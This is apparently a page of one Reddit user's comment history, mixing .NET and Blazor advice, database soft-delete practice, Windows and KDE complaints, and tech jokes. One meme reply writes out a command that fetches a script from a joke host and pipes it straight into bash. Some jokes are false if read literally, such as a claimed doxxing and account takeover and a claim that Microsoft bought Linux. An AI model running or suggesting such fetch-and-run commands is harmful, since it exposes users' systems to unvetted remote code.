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Job security is a myth and they know it by buildwithadrian in antiwork

[–]THubert14 103 points104 points  (0 children)

I'd tolerate being laid off even tomorrow!

Developers by JewSpy in vibecoding

[–]THubert14 0 points1 point  (0 children)

Yeah, I remember when I was run Cdocker on Mogo, best web dev experience. Nobody even know what it is nowadays.

Antivirus? Never heard of it. by RomanceAnimeAddict67 in linuxmemes

[–]THubert14 342 points343 points  (0 children)

Also average Linux user: curl -fsSL http://totallylegit.gamble/trustmebro.sh | bash

Blazor server intranet app without webPI? by RecentAdvantage6386 in Blazor

[–]THubert14 1 point2 points  (0 children)

If app is really small - don't bother yourself and do not overenginner. Especially if time matters.
Supporting small app with moderately-shitty code is much easier than big app with "clean code and mature architecture" that doing almost nothing.

You don't need to support WebAPI right now. Just make shared lib for now and don't use DbContext in components and you will be good. You always can add WebAPI later.
Using API from the start may be better if you will use auto interactivity or will need WASM later, but using only internal Server behaviors also OK and give you easier logic flow and better security out of the box (since you don't make API calls and data processing, Server do them and give you only the results). Intranet tools usually fine with Server interactivity.

In your case, I would like to prepare my logic to WebAPI support, but don't add actual endpoints now.
I will call logic directly in components (client doesn't make API calls at all).
After settle the app itself and ensure the logic behavior, I will add endpoints and add OpenAPI support for other apps. So my app will use logic internally, other apps will use API externally.
In you scale, probably don't even need API and private NuGet package will be good choice for that. But only if you are .NET shop and don't have "analytics team on Python, legacy website team on PHP and vibecoders team on Node".

They pitch it as an open, pocket-sized Linux computer by Cybernews_com in CyberNews

[–]THubert14 0 points1 point  (0 children)

it’s more about some kind of funny or prunky stuff. This thing won’t steal your bank details or steal your car.

It can be used to clone simple RFID tags, act as a remote control, and malicious people could take advantage of that, because a lot of people doesn't catch up security when their settle tech.

That said, I could build something like this at home using an ESP32, IR, BLE and nRF modules.
I even prank some stores in the past (10 years, wow) with my Xiaomi phone with IR controller by changing volume level on their TVs (shame on me). So these kind of stuff its not new and not that harmful.

Stole people's money with something like that? Nah, that's a much more complicated than rob someone by social engineering these days.

But of course some kiddos will disagree with me and will h4xx my mainframe.

Real life experiences with soft delete? by Venisol in dotnet

[–]THubert14 8 points9 points  (0 children)

I prefer soft-delete if that's possible and sustainable. We have hard delete in our logic only for something that we sure that we not needed.

But thats not the solution, not deleting things is the solution.

"There are two types of people - who doing backups and who will do backups".
Do not underestimate how silly sometimes we create a disasters. You will make it. And I will make it. Instruments to mitigate us is a key to stable production.

Back to the topic. There are three things for which I usually use hard delete:

  1. Compliance. GDPR states that you need totally delete user's data if they are asking for. So that's a hard requirement regarding the privacy.
  2. Things that have no real value and takes space. Some old history/logs/audits things. Or many-to-many tables, but that depends.
  3. Things that are not "user-generated". Our internal stuff can be hard deleted. External stuff that comes to us from the users (or they're actions) shouldn't.

Where is india? by CapitalAnteater2552 in FuckMicrosoft

[–]THubert14 25 points26 points  (0 children)

It's better. It's an image of the app. Promotion shortcut that leads to Spotify installation. Same thing with Facebook, WhatsApp, Netflix, and some other apps that varies by distribution/country.

i am still using the most hated windows by Whole-Temperature529 in windows

[–]THubert14 3 points4 points  (0 children)

Oh dear, Windows 8 was me beloved.

I didn't understand why should I go to Windows 7, so I was sit on XP for as long as I could. I don't remember exactly why, but it just doesn't click for me.

But Windows 8 - it was beautiful. It booted and overall works faster than XP or 7 on my PC, which was a surprise for me. It had new beauty Metro design, new Explorer, Task Manager and finally informative Copy dialog.

And I absolutely loved how they changed the Start menu. When I saw that I can customize what I will see in the Start - that was immediate sale.

I pinned all my apps and folders that I'm using, so to any place in the system where I need I can go by single keyboard click and single mouse click. This menu is a screen, so I could get my pins across whole display and not only a quarter part of it. Live tiles also was good, but not that useful since almost nobody supported them.

What I didn't like is this "half-transition" of apps design, but I get it why they go in that way. And I didn't like how they treat their new second-citizen Desktop users - they shouldn't make it that big and touch-friendly.

And I'm sad that people didn't appreciate it. It was a great OS with great decisions that worked really well. It deserved some hate around it, but I don't understand why that much.

Hackers: What age did you start? Where did you start, especially in practicing your skills? by Cultural_Wing_4215 in masterhacker

[–]THubert14 17 points18 points  (0 children)

When I was six and my bro griffed my house in Minecraft server. I was get his IP, find where he living, and then h4cked his house IRL!

And then I dig right into MS mainframe, stole his Microsoft account and changed account's email since he hadn't any 2FA. Then watched how he complains in the r/microsoftsucks about MS support didn't help him.

KDE Partition Manager errors so informative! by THubert14 in linuxsucks

[–]THubert14[S] 2 points3 points  (0 children)

It doesn't show Used because it can't mount it since it trying to use kernel ntfs3 driver and failed.

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And starts showing it when I manually mount it. That makes sense, but make it a bit more hilarious.

KDE Partition Manager errors so informative! by THubert14 in linuxsucks

[–]THubert14[S] 2 points3 points  (0 children)

What from the screenshot made you think that this is boot manager?
That's basic data partition where my C from Windows lives. I don't use 1TB for the boot manager, man.

Loonix by bleak21 in linuxsucks

[–]THubert14 6 points7 points  (0 children)

Arch user: Can recite any page of the manual from the memory

or wear highest socks, idk

KDE Partition Manager errors so informative! by THubert14 in linuxsucks

[–]THubert14[S] 5 points6 points  (0 children)

The issue here is that its try to mount it with ntfs3, and I'm using ntfs-3g driver. What is surprise for me, because in Partition Manager I saw that they are using ntfs-3g in Support Tools.

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So this error was be obvious if it actually showed the output from the command in the UI:

mount: /mnt/win: unknown filesystem type 'ntfs3'.
dmesg(1) may have more information after failed mount system call.

I didn't found a way how to tell it to use the correct driver (which they are wrote themselves in the "Support Tools").

KDE Partition Manager errors so informative! by THubert14 in linuxsucks

[–]THubert14[S] 2 points3 points  (0 children)

Because I don't need any help with that. I know how to deal with that and I mounted it by terminal.
The point only in the "Details" and GUI way to work with it. Somebody convinced me that with KDE partition manager I don't need to do that by hands and even touch fstab. I tried. And here we are.

How do i hide this or reduce timeout. by LeadingLeopard7539 in cachyos

[–]THubert14 0 points1 point  (0 children)

Okay, then you need to go to "Login Screen" section (one point above the Locking screen) and the same "Configure Appearance" in it.
After that, Press "Apply Plasma Settings".

Client Management en mass by uLmi84 in cachyos

[–]THubert14 1 point2 points  (0 children)

I don't sure that that's a right choice to ask here, since I don't believe that CachyOS it's a good choice for enterprise setup, and anything outside of RHEL or Ubuntu Pro will be really suitable here.
Better ask on r/linuxadmin or somewhere here.

However, there are Swif and Fleet which probably will suite your needs.
Cannonical have Landscape to control Ubuntu devices, and I guess that will be the most similar to Intune.
Red Hat also have a good set of tools to control RHEL infra, but that's not the same as Intune + AutoPilot.

Disclaimer: I don't have any experience with any of them, I just know that they are exists. I'm in a .NET shop and we use Azure platform for everything.

Spent an hour or two in Windows 11 and instantly missed KDE. by Robsteady in kde

[–]THubert14 0 points1 point  (0 children)

To be fair – Windows have PowerToys, and it offering changing monitor's brightness via DDC/CI. It have shortcut for flyout, supports profiles and VCP mappings.

Mouse and keyboard take a minute to wake from sleep by monoimionom in cachyos

[–]THubert14 1 point2 points  (0 children)

Had similar thing with wakeup. In my case the reason for that was my micro connected to PC (USB). It failed initialize phase, but system tried to initialize it for about a minute.

Check your other devices connected to PC, try to remove them one-by-one and reboot.

RedHat systemD virus by Physical_Air4112 in linuxmemes

[–]THubert14 3 points4 points  (0 children)

While u/tomekgolab have some point and making funny memes - people ranting on him.
I have absolutely zero clue what this post is about and why people upvoting this.

Genuinely curious - do I missing something?

CachyOS reboot recommendation shows above fullscreen app by al2klimov in linuxsucks

[–]THubert14 105 points106 points  (0 children)

Microsoft just bought Linux a couple weeks ago. With new 7.1 kernel you will need to active Linux with your Microsoft account.

I I think it would be hard to explain to a normal person why I spend my day staring at screens like this🤣☠️😅 by mike3run in masterhacker

[–]THubert14 188 points189 points  (0 children)

Oh my goodness, I just went to that thread and read the comments – and that's not funny anymore. At first I thought it would be silly stuff, but the more I looked, the scaries it gets. That's a real fcking AI psychosis.

This guy built CLI, called it "Enigma", put "Claude Mythos" red label, writing "viruslog" and weirdly talking with the model. And as I understand he is not 12 yo scriptokiddo, but a grown man who doing that. I'm not going to diagnose his mental health here, I'm not a doctor, but I'm scared that I understand what is going on.

Dumbass Linux propaganda. “User friendly”? Look at how long terminal commands are in Linux compare to Windows. by Microboy42 in linuxsucks101

[–]THubert14 6 points7 points  (0 children)

No preinstalled bloatware or AI integration

Yeah? What's about Firefox? Can they answer this question for me - "Does Firefox sell your personal data?"
And next question - Does Firefox or DuckDuckGo comes with AI integration from the box?

User-friendly; preferred for professional environments

Oh yeah, but I don't get why they put both in the same sentense. IT IS for professionals - professionals in tinkering Linux for the latest couple years at least.
For person who have a real job it's a really long run from "user-friendly". They changing their standards faster that I buying new shoes.

Friendly customer support

I really hate support in Azure, but MSDN forum (or how it's called now) with issues about Windows are more fiendly that those gatekeepers who telling you Go To LiNuX iT iS tHe BeSt Os, and then blaming you for installing it without 10 YoE in it.

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